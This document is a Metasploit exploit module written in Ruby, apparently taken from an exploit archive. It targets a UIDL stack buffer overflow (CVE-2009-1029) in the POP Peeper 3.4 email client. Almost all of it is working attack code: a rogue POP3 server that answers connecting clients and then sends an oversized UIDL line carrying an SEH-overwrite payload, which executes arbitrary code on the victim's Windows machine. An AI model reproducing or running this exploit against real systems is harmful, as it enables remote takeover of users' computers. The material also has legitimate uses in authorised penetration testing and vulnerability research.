POP Peeper 3.4 – UIDL Buffer Overflow (Metasploit)
## # $Id: poppeeper_uidl.rb 11180 2010-11-30 20:19:18Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'POP Peeper v3.4 UIDL Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in POP Peeper v3.4. When a specially crafted UIDL string is sent to a client, an attacker may be able to execute arbitrary code. This module is based off of krakowlabs code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11180 $', 'References' => [ [ 'OSVDB', '53559' ], [ 'CVE', '2009-1029' ], [ 'BID', '33926' ], [ 'URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00\x0a\x20\x0d", 'StackAdjustment' => -3500, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'POP Peeper v3.4', { 'Ret' => 0x10014e39 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Feb 27 2009', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ]) ], self.class) end def on_client_connect(client) ok = "+OK\r\n" client.put(ok) end def on_client_data(client) return if ((p = regenerate_payload(client)) == nil) ok = "+OK\r\n" client.put(ok) client.get_once ok = "+OK\r\n" client.put(ok) client.get_once ok = "+OK 1 100\r\n" client.put(ok) client.get_once sploit = "+OK\r\n1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "\r\n.\r\n" client.put(sploit) handler service.close_client(client) end end |